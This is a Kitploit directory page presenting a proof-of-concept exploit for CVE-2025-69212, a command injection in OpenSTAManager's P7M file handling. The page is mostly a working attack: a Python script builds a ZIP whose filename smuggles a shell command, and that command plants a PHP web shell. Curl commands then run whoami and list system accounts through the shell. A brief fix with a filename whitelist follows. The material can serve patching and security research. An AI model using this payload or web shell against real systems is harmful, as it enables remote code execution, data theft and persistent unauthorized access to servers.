Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing | Kitploit
工具/GitHubGitHub/lolw0/opensta-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing

查看仓库
214天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

OpenSTA-Exploit

image

DataDetail
CVE IDCVE-2025-69212
Vuln Scorecritical (9.4)
CWE78: Improper Neutralization of Special Elements used in an OS Command
Affected VersionsOpenSTAManager <= 2.9.8
Attack vectorupload a ZIP file containing a .p7m file with malicious filename
AuthRequired
Impactexecute arbitrary system commands on the server

Exploit explanation

  1. Stores a shell command in the variable cmd (which does create a file called SHELL.php containing PHP code that can execute commands).
  2. Builds a specially filename hiding the command from cmd variable and saves in malicious_file variable.
  3. Creates a new ZIP file called exploit.zip and opens it for writing.
  4. Adds a file to the ZIP. Its filename is the malicious_file variable.
  5. Malicious filename is injected into the exec() command.

PoC (Proof of Concept)

1. Create zip file to inject

root@kitploit:~
import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exec file & upload

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Exploit result

XML parsing fails after command execution

root@kitploit:~
HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verification & remote code execution

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Leads to...


Fix

**a simple fix is to validate filenames before processing (Only allow alphanumeric, dots, dashes and underscores to skip invalid filenames)

root@kitploit:~
foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(or you can simply update lol)

下载工具
AttackDetail
Remote Code ExecutionFull server compromise with command execution
Data ExfiltrationAccess to all application data and database
Privilege EscalationPotential escalation if web server runs with elevated privileges or is vulnerable
PersistenceInstall backdoors and maintain access in time
Lateral MovementPivot to other systems/users on the network